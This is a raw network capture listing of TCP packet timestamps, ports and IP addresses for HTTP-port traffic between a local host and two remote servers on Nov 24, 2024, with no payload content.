Nov 24, 2024 14:24:33.544298887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.545337915 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.545423031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.545468092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.546514988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.546574116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.546616077 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.546655893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.547663927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.547708035 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.547777891 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.547821045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.548800945 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.548844099 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.548899889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.548943996 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.549959898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.550076962 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.550118923 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.551146984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.551188946 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.551441908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.551477909 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.552314997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.552422047 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.552462101 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.552500010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.553436041 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.553477049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.553550005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.553589106 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.554605007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.554642916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.554721117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.554759026 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.555165052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.555278063 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.555330992 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.555753946 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.555798054 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.555916071 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.555955887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.556138039 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.556173086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.556179047 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.557264090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.557316065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.557364941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.558068037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.558114052 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.558183908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.558223963 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.559211969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.559252024 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.559350014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.559387922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.560421944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.560472965 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.560527086 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.560590029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.561547995 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.561677933 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.561722994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.562676907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.562717915 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.562784910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.562827110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.563847065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.563955069 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.563993931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.565036058 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.565092087 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.565172911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.565212011 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.566174984 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.566215038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.566274881 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.566312075 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.567342043 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.567382097 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.567461967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.567500114 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.568490028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.568527937 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.568646908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.568686008 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.569624901 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.569735050 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.569776058 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.570822001 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.570858955 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.571022987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.571062088 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.571955919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.571999073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.572092056 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.572129965 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.573154926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.573174953 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.573204994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.573216915 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.574280024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.574393988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.574435949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.574939013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.574981928 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.575000048 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.575444937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.575534105 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.575562000 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.575598955 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.576587915 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.576623917 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.576684952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.576721907 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.577747107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.577796936 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.577867985 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.577905893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.578888893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.578938007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.578978062 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.579018116 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.579977989 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.580018044 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.598334074 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.598395109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.598871946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.599272013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.599291086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.599340916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.615354061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.615644932 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.615668058 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.640326023 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.640386105 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.640441895 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.641349077 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.641473055 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.641514063 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.643213987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.643264055 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.662069082 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.662086964 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.662146091 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.720637083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.720650911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.720715046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.721096992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.721198082 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.721240044 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.722278118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.722316027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.722372055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.722413063 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.723454952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.723496914 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.723531008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.723577976 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.724622965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.724666119 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.724674940 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.724720955 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.725778103 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.725835085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.725873947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.727005005 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.727055073 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.727541924 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.728056908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.728099108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.728178024 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.728219032 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.729223967 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.729268074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.729348898 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.729388952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.730372906 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.730417013 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.730484009 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.730523109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.731547117 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.731589079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.731623888 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.731663942 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.732706070 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.732747078 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.732819080 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.732858896 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.733841896 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.733964920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.734019041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.735044956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.735084057 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.735163927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.735208988 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.736174107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.736215115 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.736304045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.736340046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.737306118 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.737432003 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.737478018 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.738482952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.738533974 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.738569975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.738606930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.739716053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.739799023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.739839077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.740777969 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.740819931 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.740890026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.740930080 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.741949081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.741988897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.742057085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.742095947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.743151903 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.743194103 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.743288040 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.743335962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.744271994 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.744399071 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.744435072 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.745443106 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.745541096 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.745582104 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.746289015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.746403933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.746541023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.746587992 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.746588945 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.746666908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.747296095 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.747344017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.747354984 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.747390985 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.747723103 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.747765064 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.747826099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.747864008 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.748908997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.748964071 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.749021053 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.749073982 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.750055075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.750113964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.750157118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.751204014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.751250029 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.751328945 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.751368046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.752394915 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.752520084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.752569914 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.753503084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.753546000 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.753617048 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.753655910 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.754720926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.754762888 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.754792929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.754833937 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.755861044 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.755961895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.756006956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.757013083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.757054090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.757138014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.757178068 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.758279085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.758322001 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.758363008 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.758402109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.759386063 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.759439945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.759582043 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.759622097 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.760546923 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.760591984 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.760622025 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.760667086 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.761627913 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.761742115 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.761785030 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.762804985 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.762862921 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.763175964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.763219118 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.764000893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.764050961 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.764211893 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.764257908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.765191078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.765239954 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.765292883 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.765340090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.766275883 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.766324997 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.766454935 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.766500950 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.766979933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.767144918 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.767193079 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.767447948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.767488956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.767575979 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.767663956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.768098116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.768196106 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.768735886 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.768779993 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.768780947 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.768791914 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.769049883 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.769505978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.769551992 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.769690037 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.769731045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.769731998 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.769817114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.770901918 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.770945072 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.770996094 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.771033049 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.772059917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.772100925 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.772236109 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.772274017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.773200035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.773313046 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.773350000 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.774424076 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.774513960 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.774558067 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.775549889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.775648117 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.775661945 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.775708914 CET	49815	80	192.168.2.4	185.215.113.16
